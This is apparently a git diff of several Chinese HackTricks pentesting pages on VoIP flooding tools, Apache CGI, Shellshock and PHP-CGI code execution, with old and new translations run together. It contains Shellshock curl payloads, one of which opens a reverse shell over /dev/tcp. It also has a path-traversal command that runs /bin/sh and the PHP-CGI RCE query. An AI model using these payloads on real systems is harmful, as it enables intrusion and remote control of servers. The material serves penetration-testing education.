* **`SIPPTS ping`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping 发送 SIP ping 以查看服务器响应时间。 * **`SIPPTS ping`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping 进行 SIP ping 以查看服务器响应时间。
* `sippts ping -i 10.10.0.10` * `sippts ping -i 10.10.0.10`
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS Asterisk 使用的 IAX 协议 * [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX 协议用于 Asterisk。
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): 用于在 UDP/IP 上执行 SIP/SDP INVITE 消息洪的工具。 * [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): 一个用于在 UDP/IP 上执行 SIP/SDP INVITE 消息洪的工具。
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): 发送多个格式正确的 RTP 数据包。需要知道正在使用的 RTP 端口(先进行嗅探)。 * [**rtpflood**](https://www.kali.org/tools/rtpflood/): 发送多个格式良好的 RTP 数据包。需要先知道正在使用的 RTP 端口(先嗅探)。
* [**SIPp**](https://github.com/SIPp/sipp): 允许分析和生成 SIP 流量因此也可以用于 DoS。 * [**SIPp**](https://github.com/SIPp/sipp): 允许分析和生成 SIP 流量因此也可以用于 DoS。
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP 瑞士军刀。也可用于执行 SIP 攻击。 * [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP 瑞士军刀。也可用于执行 SIP 攻击。
* Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper). * 模糊测试工具: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
### 操作系统漏洞 ### 操作系统漏洞
安装 Asterisk 等软件的最简单方法是下载已经安装了它的**操作系统发行版**,例如:**FreePBX、Elastix、Trixbox**... 但这些的问题在于一旦它开始运行,系统管理员可能**不会再更新它们**,并且**漏洞**会随着时间被发现。 安装像 Asterisk 这样的软件最简单的方法是下载一个已经安装了它的 **操作系统发行版**,例如:**FreePBX, Elastix, Trixbox**... 这些的一个问题是,一旦它工作,系统管理员可能 **不会再更新它们**,而 **漏洞** 会随着时间的推移被发现。
## 参考资料 ## 参考文献
* [https://github.com/Pepelux/sippts/wiki](https://github.com/Pepelux/sippts/wiki) * [https://github.com/Pepelux/sippts/wiki](https://github.com/Pepelux/sippts/wiki)
* [https://github.com/EnableSecurity/sipvicious](https://github.com/EnableSecurity/sipvicious) * [https://github.com/EnableSecurity/sipvicious](https://github.com/EnableSecurity/sipvicious)
@ -624,16 +633,17 @@ same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
* [https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4](https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4) * [https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4](https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4)
* [https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf) * [https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)
{% hint style="success" %}
学习和实践 AWS 黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客攻击:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习 AWS 黑客技术,使用</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持 HackTricks 的其他方式: * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我们**。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,16 +1,34 @@
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在Twitter上** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我们。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
发现漏洞和配置错误,请访问[https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker) 使用 [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker) 查找漏洞和错误配置
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
</details>
{% endhint %}

View file

@ -1,25 +1,26 @@
{% hint style="success" %}
学习与实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
其他支持HackTricks的方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
# 可执行的PHP扩展 # 可执行的 PHP 扩展
检查Apache服务器正在执行哪些扩展。要搜索它们您可以执行 检查 Apache 服务器正在执行哪些扩展。要搜索它们,您可以执行:
```bash ```bash
grep -R -B1 "httpd-php" /etc/apache2 grep -R -B1 "httpd-php" /etc/apache2
``` ```
另外,您可以在以下位置找到此配置 此外,您可以找到此配置的一些地方是
```bash ```bash
/etc/apache2/mods-available/php5.conf /etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf /etc/apache2/mods-enabled/php5.conf
@ -32,16 +33,17 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con
uid=1(daemon) gid=1(daemon) groups=1(daemon) uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux Linux
``` ```
{% hint style="success" %}
学习与实践 AWS Hacking<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP Hacking<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
其他支持HackTricks的方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,29 +1,31 @@
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
**查看此帖子:** [**https://www.errno.fr/artifactory/Attacking\_Artifactory**](https://www.errno.fr/artifactory/Attacking\_Artifactory) **查看此帖子:** [**https://www.errno.fr/artifactory/Attacking\_Artifactory**](https://www.errno.fr/artifactory/Attacking\_Artifactory)
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,33 +1,35 @@
# 存储桶 # Buckets
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **在Twitter上** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我们。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
如果您想了解更多关于枚举和滥用存储桶的信息,请查看此页面: 如果您想了解更多关于枚举和滥用 Buckets 的信息,请查看此页面:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum" %} {% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum" %}
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **在Twitter上** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我们。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,40 +1,41 @@
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
# 信息 # 信息
**CGI脚本是perl脚本**因此如果您已经入侵了一个可以执行_**.cgi**_脚本的服务器您可以**上传一个perl反向shell**`/usr/share/webshells/perl/perl-reverse-shell.pl`),将扩展名从**.pl**更改为**.cgi**,给予**执行权限**`chmod +x`然后从Web浏览器**访问**反向shell以执行它。 **CGI 脚本是 perl 脚本**,因此,如果您已攻陷可以执行 _**.cgi**_ 脚本的服务器,您可以 **上传一个 perl 反向 shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\)**将扩展名**从 **.pl** 更改为 **.cgi**,给予 **执行权限** \(`chmod +x`\),并 **通过网页浏览器访问** 反向 shell 以执行它。
为了测试**CGI漏洞**,建议使用`nikto -C all`(以及所有插件) 为了测试 **CGI 漏洞**,建议使用 `nikto -C all` \(以及所有插件\)
# **ShellShock** # **ShellShock**
**ShellShock**是一种影响广泛使用的Unix操作系统中的**Bash**命令行shell的**漏洞**。它针对Bash运行应用程序传递的命令的能力。漏洞在于**环境变量**的操纵,环境变量是动态命名值,影响计算机上进程运行的方式。攻击者可以通过将**恶意代码**附加到环境变量中来利用这一点,该代码在接收到变量时执行。这使攻击者有可能 compromise 系统。 **ShellShock** 是一个 **漏洞**,影响广泛使用的 **Bash** 命令行 shell 在基于 Unix 的操作系统中。它针对 Bash 运行应用程序传递的命令的能力。该漏洞存在于 **环境变量** 的操控中,环境变量是影响计算机上进程运行的动态命名值。攻击者可以通过将 **恶意代码** 附加到环境变量来利用这一点,该代码在接收到变量时执行。这使得攻击者有可能攻陷系统。
利用此漏洞,**页面可能会抛出错误**。 利用此漏洞,**页面可能会抛出错误**。
您可以通过注意到它使用**旧的Apache版本**和**cgi_mod**带有cgi文件夹或使用**nikto**来**发现**此漏洞。 您可以通过注意到它使用 **旧版 Apache****cgi\_mod** \(带有 cgi 文件夹\) 或使用 **nikto****发现** 此漏洞。
## **测试** ## **测试**
大多数测试都是基于回显某些内容并期望该字符串在Web响应中返回。如果您认为某个页面可能存在漏洞请搜索所有cgi页面并对其进行测试。 大多数测试基于回显某些内容,并期望该字符串在网页响应中返回。如果您认为某个页面可能存在漏洞,请搜索所有 cgi 页面并进行测试。
**Nmap** **Nmap**
```bash ```bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
``` ```
## **Curl(反射,盲目和带外)** ## **Curl \(反射、盲注和带外\)**
```bash ```bash
# Reflected # Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE' curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
@ -61,37 +62,38 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
> set rhosts 10.1.2.11 > set rhosts 10.1.2.11
> run > run
``` ```
# **代理 \(中间人攻击到 Web 服务器请求\)** # **代理 \(MitM 到 Web 服务器请求\)**
CGI 为 http 请求中的每个标头创建一个环境变量。例如:"host:web.com" 被创建为 "HTTP\_HOST"="web.com" CGI 为 http 请求中的每个头创建一个环境变量。例如“host:web.com” 被创建为 “HTTP\_HOST”="web.com"
由于 web 服务器可能使用 HTTP\_PROXY 变量。尝试发送一个包含: "**Proxy: &lt;IP\_attacker&gt;:&lt;PORT&gt;**" 的 **标头**,如果服务器在会话期间执行任何请求。您将能够捕获服务器发出的每个请求。 由于 HTTP\_PROXY 变量可以被 web 服务器使用。尝试发送一个 **头** 包含:“**Proxy: &lt;IP\_attacker&gt;:&lt;PORT&gt;**”,如果服务器在会话期间执行任何请求。您将能够捕获服务器发出的每个请求。
# 旧 PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) # 旧 PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
基本上,如果 cgi 处于活动状态且 php 是 "旧的" \(&lt;5.3.12 / &lt; 5.4.2\),则可以执行代码。 基本上,如果 cgi 是活动的并且 php 是“旧的” \(&lt;5.3.12 / &lt; 5.4.2\),您可以执行代码。
为了利用此漏洞,您需要访问 Web 服务器的某些 PHP 文件,而无需发送参数(特别是不发送字符 "=" 为了利用这个漏洞,您需要访问 web 服务器的某个 PHP 文件而不发送参数 \(特别是没有发送字符“=”\)
然后,为了测试此漏洞,您可以访问例如 `/index.php?-s`(注意 `-s`)和 **应用程序源代码将出现在响应中** 然后,为了测试这个漏洞,您可以访问例如 `/index.php?-s` \(注意 `-s`\)**应用程序的源代码将出现在响应中**
然后,为了获得 **RCE**,您可以发送此特殊查询: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` 和要在 **请求正文中执行的 PHP 代码 然后,为了获得 **RCE**,您可以发送这个特殊查询:`/?-d allow_url_include=1 -d auto_prepend_file=php://input` 和 **要在请求的主体中执行的 PHP 代码**
示例: 示例**
```bash ```bash
